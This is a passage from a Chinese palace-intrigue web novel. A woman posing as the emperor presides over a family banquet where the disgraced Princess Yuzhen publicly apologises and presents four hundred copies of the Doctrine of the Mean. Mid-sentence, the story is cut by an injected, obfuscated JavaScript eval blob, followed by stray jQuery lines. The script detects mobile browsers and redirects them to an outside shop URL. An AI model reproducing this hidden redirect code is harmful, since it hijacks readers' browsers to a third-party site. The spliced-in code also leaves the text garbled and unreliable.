纪文晏只知道沈鄢重罚了宁王父女,但能不能放人,她可不敢说。
她只好借喝茶的动作,将杯子端到嘴边,然后高深莫测地望向沈鄢:“你说呢?”
沈鄢懒得传二道口,索性直接对王现张口:“既然是家宴,缺了这么重要的亲戚也不像样,如果他们真的有心请罪,想必罚抄的中庸应该写完了,你亲自跑一趟,替陛下检查。不过,玉真郡主有点不太懂事,你要多多点拨,让她知道皇祖母的心意,免得浪费了老人家的一番好意。”
王现吓了一跳,没料到沈鄢竟敢在皇帝面前这样说话,不由得望向纪文晏。
纪文晏轻轻点头:“朕就是这个意思,你去做吧。”
“奴婢明白了。”王现忙道,“时间紧急,奴婢这就去办。”
“嗯。”纪文晏抬手道:“去吧。”
赶走王现,她才想起来房间里有个人已经很久不说话了。
安麓人如其名,一直安安静静站在旁边,要不是他人还挺大一个,几乎可以忽略掉。
“去准备一个马场和靶场。”纪文晏道,“再挑选一匹文静的马,纪姑娘没学过骑射,想要见识一下。”
“是,奴婢这就去办。”
安麓顺从地告退。
纪文晏则马上问沈鄢:“戌时还有一场家宴?那我怎么办?”
都是亲戚,她还能随便谁都不认识吗?
沈鄢轻松一笑:“放心。”
怎么又要她放心?
纪文晏完全没办法放心,被沈鄢按头继续学棋时也一直心烦意乱。
直到戌时,她起身时沈鄢也整理着衣服和她一并起身,跟着她走出去才觉得不对劲:“您也去?”
沈鄢笑道:“是啊,你不愿意?”
“怎会!”纪文晏松了口气,“有您在身边指点,我就放心多了。”
“朕早说了你会放心,如今可不是?”沈鄢道,“其实所谓的家宴和方才在建极殿的宴席也没有多大区别,说是亲戚,大部分人都是朕不认识他们,他们认得朕,你既然顶了朕的身份,就堂堂正正接受他们的朝拜便是,多的不用做。朝贺的顺序已经排好了,你只要坐着看,如果还有什么意外,朕会帮你。”
人已经到了外面,纪文晏不方便下拜道谢,只用嘴巴说了句:“多谢陛下。”
“有这么多外人,以后不用说这些客套话。”沈鄢眉眼弯弯,“朕难道还会怀疑你的忠心吗?”
纪文晏听过就算。
这种话沈鄢能说,她可不能当真。
而沈鄢想参加家宴倒也不是为了替纪文晏撑腰,只是因为他躲在紫微宫里吃饭的时候,越吃越生气:这些宴席的菜单全都是朕亲自排的,凭什么朕得躲起来吃?
这人完全不记得他是为了欣赏昙花加躲懒才回来的,只因感觉自己好像吃了亏,便生大气。
纪文晏早就习惯了他的任性,再说他肯去于己有利,当然从命。
二人坐着各自的轿辇一前一后赶到钟雨阁。
安葆先行进去通报,等安麓伴着纪文晏走入钟雨阁时,里头熙熙攘攘的人连一点声音都没发出,皆低头静候。她也看见了宁王和玉真郡主,他们的座次都很靠前,又穿得极其花哨亮眼,特别是玉真郡主,不知道是不是为了捡回场子,浑身珠光宝气,脑袋顶着一看就很重的头冠,低头时看起来脖子都快要折断。
纪文晏瞟了她一眼,便前往上首处落座。
沈鄢倒是停下脚步,十分明显地望向玉真郡主。
玉真郡主感受到他的目光,也不由得抬起头来,很意外她竟然也会出现在这家宴场合,眼神闪烁了一下。不过她很快就收拾好自己的表情,重新低下头去,没有投来任何类似怨毒之类的眼神。
还挺乖觉。
是……知错了?
沈鄢对这位表妹的迅速改变感到意外,但想到自己罚她那么严重,她吓到也是正常的。
他跟着纪文晏往前走了几步,没多久便停下。
以他现在的身份肯定不能坐在纪文晏身边,还得隔着两人,坐在了升平公主下首处。稍后万一有什么小话要跟纪文晏交流,还得找安麓当个传信人了。
沈鄢自己觉得自己现在的座位很是委屈,但落在众人眼中,却是一个从没见过的陌生面孔到了公主身旁。连公主的子女也不如“她”的座次高!这人究竟是谁?
严骁青今日没穿着那条标志性的红裙,和沈明蒙一块儿乖乖地着了黄衣宫装出门。两个小女孩关系亲近,私下打点后坐到了一起方便说话。她们本来还想着如何将小姐妹玉真郡主救出来,谁知沈明朗竟跟着她的父亲来到了钟雨阁内,只是盛装打扮也掩饰不了满脸憔悴,一看就吃了不少苦头。
看到沈明朗这个样子,二女也不敢凑上去打招呼,哪知更不可思议的事情发生,那个被她们看不顺眼的罪人之女,居然跟在皇帝陛下身后来了!
“怪不得——”
沈明蒙刚提个开头就被严骁青捂住了嘴。
“你别把这儿当你父王的封地了!”她小声警告,“她都跟着……进来了,你还想不明白吗?她已经不是我们能议论的人了。”
反正严骁青是想明白了!
怪不得那时江百瑜毫不犹豫站在纪文晏那边,怪不得升平公主府毫不顾忌宁王和玉真郡主在皇帝面前有多受宠,怪不得……
说白了大家都是皇亲国戚,从前忌惮宁王和他女儿不就是因为皇帝格外看重他们吗?
可现在皇帝有新宠了!
严骁青往上瞟了一眼,对沈明蒙说:“你小心点嘴。”
她现在很希望这场宴会能马上结束,因为她真的有很多话要同自己祖母苣城公主说!
在宴会的上层,一样是暗流涌动。
但比起这位奇怪的新贵纪姑娘,大家还是对老牌宠臣更感兴趣。
宁王父女和升平公主的争执,到底会怎么收场?
纪文晏在自己的御座上坐好,安麓看准了,便扬声宣布宴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254277|195391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
席开始。
各式美味佳肴,便如流水一般送来,一道道摆在个人席位上。
这个过程里一般是没人说话的,但所有人目光都投在宁王脸上。宁王不语,只是一味地看自己女儿,于是所有人目光又沿着他的眼神转移到了玉真郡主脸上,压力转移。
但今天的玉真郡主却显得尤为正常。
冷静,平和,脸上甚至还挂着淡淡的微笑,就像京城里寻常可见的贵族女子一样。
这可太稀奇了。
沈明朗最擅长就是无视他人目光,以前是无视大家的羡慕,现在是无视大家的打量,她等桌上菜肴上齐全了,才忽然起立,举起酒杯对纪文晏说:“皇帝哥哥,今日是家宴,请给我一个机会向升平姑姑请罪。前些天在她府中闹了笑话,这都是我的过错,是我年纪小不懂事,做了许多不妥当的事,惹恼了姑姑和姑父,还害得我父王也卷入其中,我回去以后真是愧悔极了!”
“今日这酒,先敬姑姑一杯,作为赔罪。”她转向升平公主,先饮下手中这杯。
太皇太后预先派了王现去宁王府叮咛,母女二人对她的举动完全在意料之中,升平公主见状也客气起来,起身执酒杯作出大方的样子:“明朗能想到这些,便是不枉你父王多年的教导,其实只是一桩小事,最要紧是懂礼。”
“是,明朗谨记升平姑姑的教诲,以后再也不做这种出格的事情了。”沈明朗说完,竟从桌子底下掏出厚厚的一叠抄纸,满脸愧疚地出来跪下,“这次明朗不仅是要对升平姑姑道歉,也是要对皇帝哥哥道歉,都是因为我一个人的原因闹到前朝,害外人看了咱们的笑话,皇帝哥哥罚我抄写中庸,是罚得对,您说的四百遍中庸,我在闭门思过期间已经全部抄写完了,王公公已经看过,我特意带来,也是送给皇帝哥哥和升平姑姑审阅,好知道我这回当真晓得了自己的过失。”
安麓和安葆得了纪文晏眼色,忙下去将这些抄写的文章捧来。
说是给升平公主和皇帝看,实则全都堆在皇帝的桌上。
纪文晏粗略翻了翻,确实是四百遍,但她也奇怪:“在朝上朕不是让你抄的一百遍吗?”
沈明朗低头道:“一错再错,便应该一罚再罚,多写的部分是我自己罚自己的。”
纪文晏知道这个场合再看沈鄢的脸色有点不合适,就看向升平公主:“姑姑怎么看?”
升平公主倒是很满意,笑着点头道:“明朗确实是懂事不少,我看这样就足够了。”
又是跪地认错又是主动自罚三百遍中庸,多给面子?
母后护着她,为她争取到宁王父女低头,她作为长辈当然也应该退让一步才显得大方得体。
沈明朗低眉顺眼地又感激一番:“谢谢升平姑姑,来日我一定会谨言慎行,再也不犯这样的错误了。”
“很好,你确实是明事理了,看来是真心悔改,起来吧。”纪文晏抬手道,“先吃饭,你回去坐着。”
谁知沈明朗却站在原地不动。